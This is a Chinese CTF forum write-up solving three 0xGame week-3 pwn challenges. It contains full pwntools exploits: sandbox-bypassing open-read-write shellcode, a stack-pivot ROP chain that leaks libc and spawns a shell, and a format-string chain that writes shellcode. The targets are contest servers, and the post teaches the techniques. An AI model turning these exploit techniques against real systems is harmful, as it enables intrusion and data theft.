0xGame-week3-pwn解析
1747343513214731 发表于 安徽 CTF 258浏览 · 2024-10-25 15:36

week3虽然只有三题,相对来说难度还是可以的

Shellcode-lv2

保护全开了
开了一个可执行的区域,但是只允许读入16个字节

开启了沙箱,只能够使用orw,syscall也禁用了

只能去控制程序自己的寄存器了,要不然的话位置是不够的,所以先清空程序的寄存器,然后再去读

#!/bin/env python3
from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
file = './'
elf = ELF(file)
#io = process(file)
io = remote('47.97.58.52',43010)
#gdb.attach(io,'b *main+0x12A')
def convert_str_asmencode(content: str):
    out = ""
    for i in content:
        out = hex(ord(i))[2:] + out
    out = "0x" + out
    return out
orw = f'''
    xor rbx,rbx
    xor rcx,rcx
    xor rdx,rdx
    xor rax,rax;
    mov rsp,0x20240900
    mov rbp,rsp
    xor rsi,rsi
    mov rax,{convert_str_asmencode("./flag")};
    push rax;
    mov rdi,rsp;
    xor rax,rax
    mov rax,2
    syscall
    mov rdi,rax
    mov rdx,0x40
    xor rax,rax
    mov rsi,0x20240a00
    syscall
    mov rax,1
    mov rdi,1
    syscall
'''
shellcode = '''
    xor di, di
    push rdx;
    pop rsi;
    mov byte ptr [rsi+0x10], 0x5;
    push r11;
    pop rdx;
    nop
    nop
    nop
'''
payload = flat([asm(shellcode),b'\x0f'])
io.send(payload)
pause()
payload = flat([asm(shellcode),b'\x0f\x05',asm(orw)])
io.send(payload)
io.interactive()

where_is_my_stack

只能读入0x30个字节到buf中,存在溢出,但是溢出位就只有0x10,不够进行构造,所以想到的就是栈迁移

这里可以自己找一个合适的地方迁,但是要可读可写

然后去找要利用的指令

首先迁移地方,然后调用read

payload1 = b'a'* 0x20 + p64(迁移的地方) + p64(返回到read再读入)

这里的话就可以再次去输入了,所以就再去构造,然后利用rdi传参,算出地址,然后去还原现场

payload2=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(ret_addr2)+p64(bss-0x28)+p64(leave_ret)

这里去泄露地址

payload3 = flat([rdi,elf.got['puts'],0x401070 ,elf.sym['vuln']])
libc.address = u64(io.recvline(keepends=False).ljust(8,b'\x00')) - libc.sym['puts']

使用题目给的libc

payload4 = flat([0,rdi,next(libc.search(b'/bin/sh')),libc.sym['system'],0x404cf8,lret])

完整exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
elf = ELF('./pwn')
#io = process(file)
io = remote('47.97.58.52',43001)
libc = ELF('./libc.so.6')
#gdb.attach(io,'b *0x401235')
bss = 0x00404000 + 0x200
lret = 0x0000000000401234
ret = 0x401235
vuln = 0x40121D
rdi = 0x00000000004012c3
rbp = 0x000000000040117d
rsr15 = 0x00000000004012c1
payloadA = flat([b'\x00'*32,bss,vuln])
io.sendafter(b'Every doll has her fixed place,but not stack ~\n',payloadA)
buf = bss - 0x28
payloadB = flat([rsr15,bss,0,0x401090,buf,lret])
io.send(payloadB)
payloadC = flat([rdi,elf.got['puts'],0x401070 ,elf.sym['vuln']])
io.send(payloadC)
libc.address = u64(io.recvline(keepends=False).ljust(8,b'\x00')) - libc.sym['puts']
payloadD = flat([0,rdi,next(libc.search(b'/bin/sh')),libc.sym['system'],0x404cf8,lret])
io.send(payloadD)
io.interactive()

fmt2orw

可以看到,开了一个区域,可读可写可执行

主要在这里


题目给提示是fmt2orw,这个题目就是利用格式化字符串,然后orw读的,这里重复操作的。看着比较繁琐

from pwn import *
file = './pwn'
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
elf = ELF(file)
io = remote('****',****)
#io = process(file)
libc = ELF('./libc.so.6')
def sendpayload(p:str):
    io.sendafter(b'Say something:',(p+'\x00').encode())
    io.recvuntil(b'Shanghai!\n')
    return io.recvuntil(b'Shanghai!\n',drop=True)
def convert_str_asmencode(content: str):
    out = ""
    for i in content:
        out = hex(ord(i))[2:] + out
    out = "0x" + out
    return out
payloadA = '%6$p-%7$p-%9$p'
leak = str(sendpayload(payloadA),encoding='utf-8').split('-')
rbp = int(leak[0],base=16) - 0x10
elf.address = int(leak[1],base=16) - elf.sym['main'] - 80
libc.address = int(leak[2],base=16) - libc.sym['__libc_start_main'] - 243
success('leak pie: 0x%x, libc: 0x%x, rbp: 0x%x',elf.address,libc.address,rbp)
payload = f'%{rbp&0xffff}x%11$hn'
sendpayload(payload)
payload = f'%{(rbp&0xff)+0x10}x%39$hhn'
sendpayload(payload)
payload = f'%{0x4008}x%6$hn'
sendpayload(payload)
payload = f'%{(rbp&0xff)+0x10+2}x%39$hhn'
sendpayload(payload)
payload = f'%{0x51}x%6$hhn'
sendpayload(payload)
payload = f'%{(rbp&0xff)+0x10+3}x%39$hhn'
sendpayload(payload)
payload = f'%{0x14}x%6$hhn'
sendpayload(payload)
payload = f'%{(rbp&0xff)+0x10+4}x%39$hhn'
sendpayload(payload)
payload = f'%{0x1001}x%6$hn'
sendpayload(payload)
payload = f'%{(rbp&0xff)+0x10+5}x%39$hhn'
sendpayload(payload)
payload = f'%6$hn'
sendpayload(payload)
payload = f'%{(rbp&0xff)+0x8}x%39$hhn'
sendpayload(payload)
payload = f'%{(elf.sym['what']&0xffff)}x%6$hn'
sendpayload(payload)
shellcode = f'''
    xor rax,rax
    xor rbx,rbx
    xor rcx,rcx
    xor rdi,rdi
    xor rsi,rsi
    xor rdx,rdx
    mov rbp,{0x114514000+0xa00}
    mov rsp,rbp
    mov rax,{convert_str_asmencode("./flag")};
    push rax;
    mov rdi,rsp;
    mov rax,2
    syscall
    mov rdi,rax
    mov rdx,0x40
    xor rax,rax
    mov rsi,rbp
    syscall
    mov rax,1
    mov rdi,1
    syscall
    hlt
'''
payload = flat([b'stop\x00',b'\x90'*0x10,asm(shellcode)])
io.send(payload)
#pause()
io.interactive()
0 条评论
某人
表情
可输入 255